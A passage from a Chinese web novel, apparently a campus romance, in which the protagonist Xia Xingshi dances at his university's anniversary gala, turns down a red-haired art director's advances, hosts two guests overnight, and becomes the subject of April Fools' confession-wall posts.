图片显示的是世纪影业股权穿透图,这个图相当混乱,夏星时怀疑近期世纪影业的上游控股集团可能出现了什么重大的股权变动。
不过夏星时还是在眼花缭乱的穿透图里迅速找到了最终的控制企业——-晨晓集团。
是的,慕姨的盘外招就是让夏星时直接“找家长”。
夏星时刚要切到大哥助理郑岩的聊天框,让他帮忙约一下晨晓的影视板块相关负责人说明一下情况,然后猛地想起这家公司不就是“周氏”吗。
而周氏现在实际控制人是——
封煜。
诶?这么巧?
20-30
第21章
夏星时没回学校,非特殊情况他是不住校的。
他本想让封煜送到小区门口就行,不过封煜坚持送夏星时到楼下,表示不过“一脚油的事”。
夏星时上楼后,封煜坐在车里等了两分钟,看见三层的灯亮起。
夏星时未免太缺乏警惕心了,这么轻松就被他拿到了地址。要是被坏人知道了怎么办。
封煜决定用实际行动教育夏星时。
他给助理打去电话。
接到电话的周枫眉头一皱,老板怎么忽然想买房了:“云锦东方?六栋?这个地址有点耳熟啊。”
“想起来了,这特么的是锋锐集团的员工福利住房。”周枫语气十分平静,实则已经气笑了。
“锋锐集团”也就是“夏氏”。
我上哪给你联系房主去。我去找夏乘风啊?亲爹知道你要搞他儿子,然后先把我扬了?
周枫:“而且我记得六栋是大夏总的自留。老大您要是实在中意那的房子,恐怕得亲自找小夏总商量了。恕臣无能力。”
大夏总为夏乘风,小夏总为夏元岑。
周枫已经大概知道老板为什么要买那的房子了。
好难猜啊,一定不是因为夏少爷为了上学方便住在那里了吧。
封煜沉默片刻,挂断电话,抬头望向三层。
很好,看来夏星时不是没有警惕心。那是在蓄意引诱?试探?邀请?还是服从性测试?.
B大。
校庆的舞台在假期就搭建好了,节目从上个学期就开始选拔,被选中的至少也排练了一整假期,不过保密程度很高,距今为止还没有任何物料泄露。
校内的学生也只能从文艺部那边听见诸如“卧槽牛B”之类的形容词,让人简直怀疑B大学子的文化素养。
汪部长负责的开场舞项目不在正式的节目单里,校庆前一周才进入审核流程。
夏星时也是到了现场才知道,本次校庆一共有两个节目不在正式的节目单里。
一个是开场舞,一个是结幕歌。首尾都“不专业”。
夏星时:“这是给普通学生一次赚学分的机会?”
汪部长想要轻推眼镜,但他今天为了做造型戴的是隐形。手虽然落空了,不过汪部长根本不尴尬,随意挑了下卫衣的帽绳:“这是【上邪】老师的构想,归根结底四个大字——雅俗共赏。至于赚学分,主要还是咱们这边吃得多。结幕合唱是儿歌串烧,那边报名人数很多的要竞争上岗。”
换言之,学分是没有的!
夏星时站起:“那我去看看儿歌彩排。”
儿歌串烧那得多热闹啊!
“哥,有什么好看的啊!我给你带了奶茶!”汪部长拽住夏星时。
夏星时无奈:“我真不跑。”
汪部长:“夏哥,就差审核这一哆嗦,我现在受不了一点打击。”
夏星时很不满:“可是别人都在自由活动!”
他们是提前到的,距离他们的审核项目还有起码半小时,其他人都去看儿歌彩排了,只有夏星时被汪部长扣在后台。
难道就因为他是资方少爷吗?
汪部长看着后台海报上的“东升娱乐”、“锋锐集团”等字样,眼神坚定。
夏星时也是到了现场才知道,本次校庆他们家是最大的赞助商,合着小汪不止是图他的脸。
夏星时拍拍小汪肩膀:“小汪,自信一点,咱们的节目多棒啊。”
“哥,你是因为没看见其他节目才能说出这样的话,看了其他节目你就知道咱们有多业余了。”小汪愁眉不展、忐忑不安、心事满满,只有资方能给他带来一点温暖。
夏星时无法共情。因为他现在想加入儿歌队伍了,那边肯定很有意思,不要学分也想上去玩啊!
汪部长强控资方少爷,夏少爷走不了,委委屈屈坐在小板凳上,他掏出手机看了一眼,转头跟小汪说:“撒手,我要回消息。”
小汪从善如流改拽衣角。
夏星时指尖敲击屏幕,两分钟后,后台进来一个人。
“星时!”谭淮小跑到夏星时身边。
夏星时:“怎么样,通过了吗?”
这次B大的校庆很隆重,不止是校内庆祝,还要同步网络直播,而谭淮本来就是B大的学生,东升娱乐作为赞助商,当然会抓机会推推自家人。
正式节目那边,看了眼节目单,实在是没有塞人的余地,硬上会成为笑柄的。但非正式的儿歌合唱就不一样了,零难度!开场舞起码还需要走位和力度,儿歌就俩字——快乐!所以赞助商拿个C位没问题吧!
谭淮笑的很开心:“过啦过啦,大家都玩的开心!”
他刚从舞台下来,还没从快乐儿歌的氛围中走出来,语调很雀跃。
小汪不合时宜的出来破坏气氛:“他们这个节目是内定的哇,就是为了做一个开心的结尾,咱们这个可不一定。虽然咱们现在已经拿下资方和夏老师的票,可【上邪】老师拥有一票否决权!”
校庆可以失去开场舞,但不能失去上邪老师。
夏星时黑线:“小汪你未免太贪心了吧。”
夏老师是他二叔夏乘云,B大中文系教授,主要研究方向是古典文学、文学史等,解读在专业向之余具备浪漫主义色彩,而且从不记考勤、从不点名,从不挂科,只要能抬,夏老师都会抬你一手。
本次校庆,夏二叔负责节目的终审,职务毫无难度,完全就是吉祥物。毕竟能走到终审的节目无脑点过就是了。
但这项职务是学生们一票一票投出来的!很有含金量!
也就是说,拥有一个夏星时,相当于拥有三分之二的基础票。小汪居然还不自信?
“万一初审过不了,我就丢人到姥姥家了,怕是再不敢提竞选学生会长的事了。”汪黛玉抬头忧伤.
往后台走的路上,杨程被迫听着表哥的说教。
商晔:“你懂个屁的美人,美人在骨不在皮,在于内在的韵味,在于灵魂的绚烂。皮相,虚妄也。”
杨程现在知道为什么袁易他们有时候挺烦他的,艺术家说话是特么烦人哈。
杨程跟在商晔身后,握拳反驳:“他不一样!他给我带来灵感!他就是艺术!”
“说明你根本不懂艺术,世界上漂亮的人多得是,但能称之为的艺术的……哇哦~”商晔忽然停住脚步,他抬手扒下墨镜,露出一双狭长迷人的眼睛。
句末的语气词带着奇特的上扬调子,眼中满是被惊艳到的痴迷。
商晔个子很高,四肢修长,穿搭很清新,不过头顶的红毛和那副覆盖了半张脸的墨镜着实显眼,有种野蛮的张扬。
汪部长眼观六路注意到关键人物,他立刻上前迎了几步,伸出手:“上邪老师!”
“哦?小汪?准备的怎么样了?”商晔将墨镜推回鼻梁,简单和小汪握了握手。
小汪:“没问题没问题,人马上就到!”
仗着带了墨镜,商晔目光紧盯夏星时:“我对咱们这个节目还是很有信心的,等一等舞台,准备上场吧。”
小汪:“好的上邪老师,没问题上邪老师。”
小汪看着在原地没动的商晔,轻轻出声:“上邪老师?”
商晔仿佛如梦初醒:“我在后台待一会,前面有点乱。”
小汪:“哦哦,好的好的。”
杨程走到夏星时身边,后者问:“这红毛是总艺术指导?意外的年轻啊。”
“这可是我们家族最闪耀的大天才,这个年纪已经把所有奖拿了个遍,艺术圈的大满贯选手。”杨程撇嘴,同样都是走艺术途径,他很明确的知道自己和商晔的差距。
这么说吧,若你不懂艺术,见商晔如井底之蛙观天上月,你若懂艺术,见商晔如一粒蜉蝣见青天!
“而在他的高压下,我依然坚定的走向了艺术,证明了我对艺术的热爱与真诚。”杨程拨弄发尾,自怜道。
夏星时无视杨程的间歇性抽风,发出资方的询问:“那他出场费很高吧。”
杨程先是点头,盯着夏星时看了两秒然后又摇头:“我相信,从今天开始,锋锐一定可以免费使用他了。”
开场舞的队员很快到齐,前台有配合工作的学生进来表示已经准备好舞台了。
汪部长带着人登台,杨程想要浑水摸鱼跟上去,却还是被眼疾手快的商晔拦住。
商晔拽住杨程:“哥刚才跟你说话声大了点,我其实非常认可你在艺术方面的理解,你简直是个艺术小天才。”
杨程嗤笑:“你不是要看灵魂要看内在吗!”
商晔推推墨镜,头顶的红毛摇摇晃晃:“我一眼就知道他内在非常绚烂。”
杨程反唇相讥:“你X光片?”
商晔毫不在意愚蠢表弟的无能狂吠:“联系方式推我。”
杨程:“别闹表哥,他是夏星时!”你想对我们资方少爷干什么?!
商晔拨弄一下自己的狼尾红毛:“哇哦哇哦,所以联系方式怎么还不推我。”
杨程奋力挣脱表哥,头也不回地回归队伍。他现在有点烦艺术家。
商晔遗憾的叹了口气,走到前台的评委席坐下。
舞台灯光亮起,台上的二十多名俊男美女穿着印有“B大”字样的文化卫衣,青春的气息扑面而来。下一刻,灯光猛地变换,红紫色的光线切割舞台,同时音乐响起,舞蹈开场。
底下的老师给出评价:“视觉效果不错,但舞蹈是不是太简单了点,不太匹配校庆规模啊。”
“也就是业余爱好者的水平,不太行。”
“情绪很热烈嘛!”
“开场舞也不是必须的。”
他们都是美院的专业老师,也是真正负责审核节目的评委。
商晔一直没有说话,他带着墨镜抱臂坐在最前方,张扬的红发异常抓眼。
直到音乐结束,灯光恢复,他才缓慢的开始鼓掌。
商晔:“无与伦比的视觉效果,令人震撼的张力和律动!完美的演出效果!”
其他老师:?
商晔在艺术领域的权威不禁让其他老师陷入疑惑。是我艺术造诣不行没品出来其中的特色?
夏乘云不懂艺术,但一定要给自家孩子捧场:“确实好。”
东升娱乐的资方代表不语,只一味的鼓掌。
——小汪这孩子是挺灵的,他到底怎么说服夏星时上台表演的?
其他老师如此想着。
商晔推了推墨镜,声音平静:“这就是我要的效果,抓眼、震撼,引爆全场!他们可能不够专业,但看节目的观众又有多少专业人士呢?我们要的是雅俗共赏,要的是快乐。既然校庆选择线上直播模式,照顾观众才是我们首要的任务。”
“专业的节目后面多得是,足够展现出学校的风采,开场舞和儿歌串烧,为的是让观众嗨起来。”
其他老师点头,对此表示认可。
的确,最初的提案也是考虑这一点。他们不能用只专业的眼神审视挑刺,还要站在观众的角度欣赏。抛开专业这一层因素,节目的确很亮眼,能迅速带动观众情绪。不愧是上邪老师啊,太专业了!
“不过——”商晔话锋一转,“开场舞的舞美还需要进一步改动,现在还是有些瑕疵,不够完美。”
资方代表没忍住开口:“额,时间上是不是有些紧张?”
他理解艺术家为求尽善尽美,但接下来一周真的很忙啊!有一部分节目需要提前录制、测试播放效果、灯光的最终调试、整体过几遍流程……
而且他觉得舞台效果已经很棒了。
商晔倨傲:“说实话,我本人是非常不喜欢资方对我的作品指手画脚的。”
资方代表:……
有时候他真挺烦这帮艺术家的。
商晔:“我不会拿作品开玩笑。”
资方代表僵硬微笑:“了解。”.
杨程控制住商晔:“表哥你控制一下,有点职业素养,别为了私人情感毁了我们校庆!”最重要的是家族的口碑不能毁在你手里啊!
在接到汪部长配合舞美团队的训练通知后,杨程直奔商晔。
商晔:“笑话,我说了,我不会拿作品开玩笑,而且什么叫你们校庆,这也是我的母校啊!”
杨程:“那你现在到底在干什么!”
商晔将红发向后一捋,语调带着迷恋:“我将用才华征服他。”
杨程:?
商晔张开双臂,仰望蓝天:“男人最好的医美就是才华!而我的才华,无与伦比!”
杨程简直没眼看。
特么的,艺术家是真烦人啊。我之前都这么烦人?不可能,绝无可能!
“表弟,我承认你的‘校服’创意和双胞胎共舞都很艺术,但你还是不够全面。要抓细节啊!还有灯光,现在的灯光太刻板了,没有韵律,不够配合。相信我,舞美团队也不会满意如此贫瘠的舞台。”商晔扬起头,红毛在阳光下闪闪发亮,他就像一只快乐小狗,浑身自信放光芒。
杨程:“时间来得及吗?你别把我们节目毁了,汪子还打算用这个当绩效竞选学生会长呢。”
商晔对小汪还是很满意的:“小汪这个人也很有艺术细胞嘛。”
他听表弟说了,夏星时就是小汪力排众议硬要抬上来的,虽然本意是有一点点歪门邪道在的,但不可否认,他的审美非常不错,选曲也及其大胆。
或许他无法成为一名出色艺术家,但他一定懂得欣赏美。
商晔:“放心吧,一次对接就够了,其实不对接也行,你们跳你们的,灯光组的小伙伴能自己发挥。”
杨程疑惑:“那你干嘛非要我们来对接。”
商晔捧脸,羞涩一笑:“我这不是还没要到联系方式嘛。”
杨程:……艹,以权谋私的狗!
商晔没有特别离谱,迅速适配好灯光,过了一次舞蹈就直接放队伍离开了。
当然,主要还是他顺利拿到了夏星时的联系方式,理由很正经——身为总艺术指导,他有一些小巧思想加在领舞身上。
为了表现的更自然他还顺便加上双胞胎.
这一周大家都很忙碌,时间如流水划过,很快来到了校庆当天。
舞台现场灯光齐开,绚烂多彩,台下中签的同学们在指引下排排站好,手里拿着校方免费发给大家的应援棒,各个角度都有摄像机确保无死角录入,无人机设备已经提前审批升空。
舞台肉眼可见的贵,每一分资金都花在了刀刃上。
视角最好的地方留给了美院的老师,因为这场毕设,啊不是,这场校庆,本质是一场大型的毕设展出。
天色逐渐暗沉,舞台在夜色中愈加显眼,倒计时一分钟的时候,舞台上出现一个巨大的时钟投影,那是充满了赛博风格的齿轮时钟,散发着宛若光污染的斑斓色彩。
“咔哒”“咔哒”。
秒针坚定的绕着既定的路线移动,当它走向“十”的时候,线上线下的观众同时开始倒数。
现场整齐的“零”刚刚响起,所有灯光骤然暗下,整个世界仿佛瞬间被黑暗吞噬,下一刻灯光降临!
卫衣牛仔裤小白鞋,满是青春洋溢的气息,然后随后的音乐却让弹幕刷了满屏的问号。
【?这对吗?】
灯光随着音乐逐渐变暗色调,红紫蓝的灯光交织变换,场上的氛围陡然暧昧起来。
第一个音节响起时,定位为伴舞的小伙伴滑向两侧,露出后方的三位领舞,同时灯光聚焦而来,强行汇聚所有人的目光!
夏星时和所有人一样,穿着印有B大文化的卫衣周边,不过和彩排时不同的是——
他鼻梁上多一副金丝镜架,镜链优雅的绕到耳后,多了几分禁欲的克制,看起来很斯文,莫名的性感。
此刻他的气质完美匹配上歌曲。
这场舞蹈并没有分成清晰的男女步,所有人的舞步都是一样的,两两组队后,歌曲传达的失控、对抗和争锋感无限放大,氛围走向狂热!
作为唯一的三人组,夏星时只有一个动作和大家不同。他需要在舞蹈中段的部分,由面向小A改为面向小B。
正常的感情似乎一下子变得畸形。
直播弹幕刷的飞快——
【吃这么好?早知道考B大了!!】
【双胞胎斯哈斯哈!】
【好,就是这个动作,抬手,露腰!白!】
【我好哩。】
【跳的劲劲的,丝毫没有谄媚,只有对自己的欣赏。】
【c位哥:随便跳跳,瞧把你们爽的(狗头)。】
【帅哥不知道自己很帅的可能性低于我是秦始皇。】
现场就比较收敛了,只有狂风暴雨的呐喊:“啊啊啊啊啊!”
绮丽灯光摇晃,运镜的摄影师数次将镜头推过去,夏星时总能捕捉到镜头从而对上视线。
金丝镜链摇晃着,撩进了心里。
镜片后的双眼仿佛含着情,钩子一样,像是魔鬼引诱着凡夫俗子,为他疯狂、为他沉沦。
可当镜头移走时他又冷漠地不再关注,连一丝余光也不愿意施舍。
夏星时抬手,衣摆微微捞起,露出流畅柔韧的腰线,白的晃眼,泛着癫狂的性感。
音乐持续的高潮,满是失控感,又忽然戛然而止。
舞台定格不过瞬息,灯光彻底暗下,再亮起时,站在舞台上的是两名主持人:“让我们感谢文艺部的开场舞表演!真是无与伦比的视觉盛宴!”
【帅吗?哈哈,摸黑下场的时候一点都不帅!】
【好好好,原来你是这样的B大,早说啊!】
夏星时下了台后和杨程迅速来到观众席,找到袁易和徐渝。
袁易将提前领的应援棒分给夏星时他俩。
徐渝:“不懂就问,杨程你在哪个角落摸鱼呢?”
杨程:“滚。”
袁易:“我靠,太帅了!”
夏星时:“咳,别帅了看节目。”
夏星时带着口罩藏在人群里,视线落在舞台。
台上的节目是戏曲表演,在传统表演的基础上通过现代技术的舞美增加视觉亮点,让即便对戏曲不感兴趣的观众也能沉浸其中。
正式节目的确比开场舞的草台班子专业多了,不懂戏曲的外行人也能看出来,台上一分钟台下十年功,动作表演出来,能取哇声一片!
也不怪小汪一直自卑,理解小汪,原谅小汪。
夏星时:“哇!”
观众:“哇!”
接下来三个小时,夏星时就没停过“哇”!
戏剧剧情精彩,动作干脆利落,功夫极深;集体舞剧柔美动人,肢体翩若惊鸿婉若游龙,眼神多情妩媚却不显俗气;舞剑配合特效做出了万剑归宗的效果,视觉的炫酷,却丝毫遮掩不了演员动作的凌厉。
【怪不得皇帝爱看跳舞!原来是这样的舞蹈!】
舞美效果、表演效果,就算有一部分放的是录播,那也精彩的无与伦比!我们B大太有实力了!
夏星时最喜欢的其中一个哪吒的剧目。哪吒为众生自戕、众生为哪吒请命,三头六臂、破塔而出。那段的表演和特效实在是太牛了。
当然,他主要是喜欢哪吒。
杨程酸溜溜的说:“你可以说商晔变态,但你不能否认他的艺术造诣。”
这舞美效果,他真挑不出一点错。上能配合传统文化,下能融入现代潮流,真的做到了他说的雅俗共赏,商业价值上也完全契合市场需求,保证了高端的同时,还能应用日常场景又烟火气。
商晔名副其实。
主持人:“火树银花不夜天,欢声笑语人不眠,欢乐的时光总是如此短暂,本次校庆即将走向尾声,最后一个节目,让我一起回到童年,做个-小-孩!”
音乐:“聪明勇敢有力气——”
台下嘶吼,弹幕刷屏:“我!真!的!羡!慕!我!自!己!”
谭淮:“呼啦圈也没问题。”
合唱:“后空翻两周再敬个礼!”
“别看我只是一只羊~”
“快乐池塘栽种了梦想就变成海洋!”
“我唤醒大海,唤醒山脉。”
“我是一只猫!快乐的星猫!”
“我!追着梦!的光点!”
“白龙马,蹄朝西……”
“我能够捉到月亮!我将用无数的梦撑起的无数的浆……再见了妈妈今晚我就要远航!”
兴奋的同学们冲上舞台,宽阔的舞台逐渐变得拥挤起来,欢乐的氛围如模因感染般扩散,直播设备依旧在工作,舞美灯光逐渐暗了下去,唯有应援棒依旧明亮。
【开头逛窑子,中间享受皇帝待遇,结尾给我干童年来了!】
【现在知道反派为什么会被一首歌控住了吧。】
【我承认,是我贪了,早知道留春晚看了。】
【我是反派,我被控住了呜呜呜。】
【B大把我当小孩呜呜呜。我是小孩!!!】
【好好好,毕业了你来这套?!】
校庆完美落幕,商晔毫不意外。
毕竟,这是由他亲自操刀的项目,根本没有出问题的空间!
商晔自信,且有实力自信,迈着雄赳赳的步伐,他找到了夏星时。
此刻,设备关机,舞台刚散,应援棒的光零散的亮起,喧闹回归寂静,夜色正浓。
“夏星时,喜欢这次校庆么。”商晔下巴微扬,神情带着倨傲和自满,目光直直落在夏星时身上。
“节目非常精彩!所有的一切都是完美的!对了,你的眼镜。”
他将插在领口的金丝镜架递给商晔。
他刚从舞台下来,眉目明艳,笑得灿烂。
商晔想了想还是接下眼镜:“你可以尝试夸夸我本人。”
夏星时思维没有商晔这么跳,但和杨程相处久了,也知道他们搞艺术的偶尔是会抽象一下,顺毛哄就行。
他打量商晔,眼神落在后者显眼的红毛上,“你头发颜色很好看。”
有机会他也想染个红毛。
商晔翘嘴。
他晃了晃脑袋,肩膀的红色|狼尾看着就很野。
商晔对这个夸奖很是满意,狭长的双眼微微眯起,唇角翘高:“我是不是很有才华呀?”
夏星时肯定道:“你的才华显而易见。”
商晔下巴扬起:“那如果我追求你,你会做我男朋友吗?”
夏星时斩钉截铁:“完全不会。”
商晔瞬间哑火。
我这么有才华,你还不喜欢?眼光这么高?
“谢谢你的喜欢。”夏星时礼貌拒绝,挥手离开。
商晔望着夏星时的背影,眼神不解,神情哀伤。
难道,是夏星时不喜欢直球款式?他其实也可以勉强自己委婉一点的。
从雄赳赳到偃旗息鼓再到垂头丧气,商晔走完所有流程,只用了五分钟不到。
“表哥,你就死了这条心吧。”杨程如幽灵一般钻出。
商晔随意拢了拢头发,露出饱满的额头:“我对这次失败毫不意外,如果如此轻松的追求到,那也太没意思了。”
他将刚拿回的金丝镜架放在鼻下轻嗅,哀伤不在。
“表弟啊,我跟你说,像这种顶级美人的特质就是高傲、脾气差、习惯被跪舔。我不止尊重,我还理解。”
“想拿下这个级别的美人,非一日之功!需水滴石穿,持之以恒!”
商晔夸夸其谈,没说服别人,但轻松说服了自己。
杨程沉思片刻:“表哥,你说的那玩意我好像知道,不就是舔狗吗。”
商晔抬头仰望漆黑的夜幕,缓缓吐出杨程这辈子都说不出来的一句话——
“那也是他的狗。”
杨程:…….
夏星时找到谭淮。小谭直到所有灯光和直播设备都关了才从台上下来。
其他同学玩过闹过可以随着人群自然下场,但他站了c位肯定要等节目彻底完成、设备关闭才能离开。
“是不是等久了。”谭淮欣喜于夏星时愿意等他,又舍不得夏星时等他。
夏星时摇头:“没啦,我也刚下来没多久。”
谭淮看着夏星时,突然说:“你开场舞跳的特别好!”
他当时站在台下,身边还有其他候场准备的同学。周遭喧闹不已,他呆呆地望着舞台,耳边的声音逐渐远去,眼中只有夏星时熠熠生辉的样子,根本舍不得移开目光。
心跳的很快,扑通扑通的。他惊慌失措,担心自己的心跳声被其他人听见。好在,所有人的注意力都在舞台上,大家尖叫呐喊。只有他一个人在兵荒马乱。
音乐声很大,现场气氛热烈到混乱,谭淮那根紧绷弦缓慢又坚定的分崩离析。他没有修复的意愿,反而放任自己的沉溺,任凭那些藏在深处的情感释放出来。
好迷人啊,夏星时。
所有的细胞都在叫嚣,分不清是本能地追逐还是越线的渴望。
世界在旋转,他地动山摇。
“效果特别好吗?那我真要看看回放啦!”夏星时叉腰,笑的灿烂又明媚,“你今天要在学校住吗?”
“我宿舍都空了,没法住人,”谭淮抓了下头发,然后被发胶糊了一手,“我一会儿打车回公寓。”
谭淮今年下半年才毕业,上学期的时候本来已经找好实习,宿舍也清空了,就等着拿毕业证了,但过年他爸的事打乱他所有计划。
签约东升后,公司给他提供了一间单身公寓,离公司不远,坐地铁两站就到,但离B大稍微有些距离。
现在已经凌晨了,公共交通大部分都停了,谭淮也没车,想回去只能打车。
夏星时拍板:“算了,别折腾了,跟我对付一宿吧。”
“啊?”谭淮还没反应过来就被夏星时拉着往外走。
夏星时带着谭淮从校内扫了两辆共享单车往西门骑。学校占地面积太大,在校内活动总是需要一些辅助。
到了西门后他俩把共享单车停在指定位置,夏星时用手机锁车的时候,发现有一条未读消息。
他先把车锁好,然后切到聊天页面噼里啪啦回了几个字。
夏星时带谭淮出校门,在校门口环视一圈,迅速确认目标,拉着谭淮跑过去。
夏星时:“封哥!”
远远看见夏星时的身影,封煜就将车窗摇下,但此刻他只是矜持的点点头,薄唇轻启,“上车吧。”
“你坐后面吧。”夏星时对谭淮说,然后自己拉开副驾的车门。
封煜抬眼瞄了一下后视镜,开口问夏星时:“你同学去哪?”
夏星时系好安全带,抬头说:“我家,今天太晚了,他在我家住一宿。”
封煜顿了顿说:“行。”
封煜启动车子,这一次不需要夏星时指路。
夏星时这会儿还兴奋着呢:“哥你没上场跟我们一起玩真是太可惜了,现场真的嗨爆了!”
儿歌合唱的时候,大家都往台上冲,说一句群魔乱舞也不为过,但快乐也是真的快乐。
封煜线上跟夏星时说,自己是快散场的时候才出来,想着夏星时要回家在门口等一等。
不过其实他只看了开场舞就出来了。
出来冷静冷静。
封煜:“是挺热闹。”
从启动车子到来到夏星时家楼下,全程不过五分钟,中间甚至还等了一个红绿灯。
夏星时挺不好意思的:“太麻烦哥了。”
封煜:“小事,赶紧上楼休息吧。”
“封哥,”夏星时下了一只腿,身体却转回车里,试探性的问,“要不你也上楼对付一宿吧?”
夏星时纯粹觉得大夜里跑来跑去的好麻烦,不过开了口后又感觉自己可能有点冒昧。封哥又不像他们这么闲。
封煜搭在方向盘的手微微收紧,语气平静:“方便吗?”
夏星时愣了一下,眼睛弯起:“你来就没有不方便。”.
六栋是一梯两户的格局,夏星时住在三楼301,对面的302名义上是夏元岑的,不过大哥基本没住过。夏星时其实也是上了大学才为了方便常住这里。
“谭儿,你先洗,睡衣穿这个。”夏星时把人带进301,换上拖鞋,回卧室拿了一套洗干净的睡衣递给谭淮。
夏星时:“封哥,咱俩去隔壁速战速决。”
封煜眼皮微跳,险些没崩住表情。
究竟是他思维肮脏,还是夏星时故意的?不,夏星时的引诱从来都在细节里,不会如此粗糙。亦或者夏星时在玩弄人心上的造诣,已经达到了无意识的巅峰造极?
封煜面无表情头脑风暴。理智又来了一套长难句。
夏星时用指纹解锁302。
302房水电都通,有阿姨定期打扫。不过干净归干净但的确没什么人气,进来的唯一感觉就是冷清。
夏星时:“哥,浴室在这边。你先洗,我去找一套我哥的睡衣。”
夏星时刚才给谭淮找衣服的时候比了一下,他的衣服封煜穿应该不太舒服。封煜个子比他高一点,和大哥夏元岑身高体型差不多。
夏星时从衣柜翻出一套大哥的新睡衣和一条没拆封的新内裤。
他把衣服拿出来放在客厅,又绕到客房看了一眼。
客房的被褥都在柜子里,拿出来换套干净被罩铺上去就能住人。不过夏星时总感觉这房子太冷清了,而且他把人叫上来做客,把客人一个人丢在隔壁房子未免也太失礼了吧。
夏星时想了想还是决定让封煜住301。
他回到客厅,浴室门刚好被打开,蒸汽从浴室涌出,夏星时下意识看了过去。
刚冲完澡的男人只在腰间系了条长浴巾,头发擦到半干,两捋湿发搭在眉骨,凌厉又性感,胸膛结实,腹肌紧致,身体线条有着迷人的力量感,张力十足,扑面而来的男性荷尔蒙。
身材好像比脸还性感啊。夏星时这么想着。
夏星时回神:“哥你换好衣服咱们回301睡。”
他俩回301的时候,谭淮也已经冲好澡了,他身上穿的夏星时的睡衣,浅蓝色的睡衣没有额外的图案,素净柔软,很合身。
夏星时:“封哥你睡主卧,我和小谭在客卧。”
夏星时这套房子是三居室,不过其中一间房被他改成游戏房了,没法住人。
他把房间分配好,让两人先去睡觉,迅速进浴室冲了个澡,擦头发的时候才想起来他忘记把自己的睡衣从主卧拿出来了。
夏星时看见主卧门里传出的光,放下心来,走过去轻轻敲门然后转动把手,钻进去一个顶着毛巾的脑袋,“哥,没睡呢?”
坐在床上网上刷夏星时舞台的封煜立刻退出视频,镇定抬起头。
他表情依然镇定,手机却因为手抖掉在了床上。
夏星时围着浴巾,上半身毫不设防地露出,身体线条流畅柔韧,脖颈修长雪白,柔软的黑发垂落在颈间,腰腹的肌肉线条紧致漂亮,莹润的皮肤被热气蒸的泛着粉,人鱼线向下延伸隐匿在浴巾下。
“哥我睡衣忘拿了。”夏星时走进来,快速找到睡衣立刻转身离开。
“哥晚安。”
他轻轻关上房门,仿佛从没出现过。
只留封煜一人坐在床上思维混乱。
腰好细。
封煜紧紧抓住被子猛地摇头,下一秒又受惊般撒开被子。
明明刚才没什么不对,但此时他却感觉自己被夏星时的气息包裹了。
这是夏星时的房间、是夏星时的被子,当然处处都夏星时的痕迹。
封煜本以为夏星时今天选择了谭淮,没想到夏星时居然要两手抓!
好娴熟的把控,好精妙的细节!
作者有话要说:
封煜:拼尽全力,无法抵抗[墨镜]。
第22章
上次封煜送夏星时回家,他认为那是夏星时的试探。
封煜辗转反侧、内心纠结挣扎了良久,还是下不来决心。
这次来看校庆,的确是因为之前夏星时的邀请,毕竟他答应了夏星时有空会来。
没别的想法,只是他真有空。
开场前,他还在想要不要告诉夏星时自己来了,但舞台开始后所有的思绪都被清扫出去了。
夏星时在舞台上肆意散发着自己的魅力,气氛火热疯狂,没人能不爱他。
封煜本能的被吸引,在癫狂之中沉迷,心底烈火蔓延,泛滥成灾。
音乐消弭,心跳不止。身上是夜风也吹不散燥热。
离场后封煜坐在车里冷静了很久。
感性告诉他,当玩具也有当玩具的好;理性告诉他——
一味地逃避是无法解决问题的,只有千日做贼哪有千日防贼,夏星时凭什么陪双胞胎跳舞?就这么喜欢双胞胎?常在河边走哪有不湿鞋,与其一失足成千古恨不如主动拥抱深渊!
成为玩具不代表不能享受,他看双胞胎就挺爽的,所以他纯享受不行吗?夏星时会欲擒故纵他就不会了吗?
理性中掺杂了一丝妒忌,但整体很有逻辑,说明他是无比理性的。
因此封煜立刻接受了理性的建议。
他计划的很完美,唯独还是低估了夏星时。
夏星时的一举一动,都充斥危险与迷人.
校庆结束的第二天就是愚人节,接着校庆的余韵,校园里的氛围充斥着兴奋的欢乐。
众所周知,最大的小丑不在哥谭而是在愚人节表白的你。
四月一日,愚人节。
表白墙背后的运营早上六点就开始发推文,每条都配了一段阴阳怪气的评论——这是历届B大表白墙运营的特色整活。
又称乐子人与表白墙的年度大战!
表白墙:【高端的猎人常以猎物的身份出场,低端的小丑总在愚人节现身。】
【别人表白看黄历,你看上愚人节攻略了?】
【“我喜欢你。”“哈哈愚人节快乐。”有人表白准备花,有人表白准备台阶。】
【愚人节表白,是为了以后能反悔吗?】
【限时小丑皮肤大放送!】
【你的恋爱军师呢?哦?也在cos小丑?】
【红鼻子买二送一!】
【为什么你听《听春语》感受不到快乐,只满嘴喊着“太痛了”?】
夏星时在课上刷着表白墙,今天的快乐就由墙墙提供了。
他现在上的课是一门公共课,名称是大学生职业生涯规划,核心内容是教你如何服从企业管理,俗称水课。
校庆刚结束,大家的心都是野的,能来签到的已经是乖孩子了。
杨程点开罪一条推文大胆评价:“我觉得这条是混在无数乐子人之中的真小丑。”
徐渝凑过去,深以为然:“匿名小作文,主角用123称呼,要素齐全。”
能在今天给表白墙发素材的,至少一半是乐子人——让我们拼一拼到底是我们的素材多,还是你们的小词儿多吧口牙!不要小瞧我们之间的羁绊啊口牙!
袁易:“奇怪,我发的那条为什么现在还没登?我定时发的呀,应该是第一批才对。”
杨程:“你发的啥?”
袁易露出一口白牙:“一张星时的舞台照,然后使用emoji凑一条声泪俱下应援词。”
不需要上某呼抄别人刚编好的小故事,今年的素材由他们亲手创造!
“你也是?”徐渝抬头,显然,他也这么干了。
杨程摸下巴:“我的也没发。而且一张星时都没有,显然不对劲。”
昨天舞蹈的劲儿那么大,怎么可能这么平静,总不能都在回味吧?
袁易猜测:“恐怕今年都偷懒了。”
今年的素材好搞,参与的乐子人会更多,但大家可能都想到一起了导致出现大量同质化素材,效果反而不如往年。这场战争似乎初窥颓势。
表白墙整整半小时没再发推文。孩子不吱声一定在搞幺蛾子。果不其然,分针走向整点的时候,新的推文出现了!
【别装了!心动就是心动!你以为你是伪装成小丑?不,你是真的小丑!】
下面的配图是一张犹如马赛克的拼图,一看就是把好多人的素材拼接在一起,由于数量太多,根本看不清。
来不及谩骂墙墙偷懒,点开高糊马赛克拼图,奇妙的发现着竟是一张高清的夏星时露腰舞台照。绝对是现场直拍!
没有休息,没有停歇,下一条推文已经出来了!
【面具送你了,不限时随便带!】
配图依然是马赛克拼图,点开是双胞胎和夏星时靠近的舞台照,灯光摇曳,镜链发光,夏星时的视线直视着镜头,眼神傲然。
【不会是想着将错就错吧?】
【这是一场无需配合的真心话大冒险,哈哈哈你不会信了吧!】
【……】
墙墙连发了十条马赛克大拼图,夏星时失去了快乐。
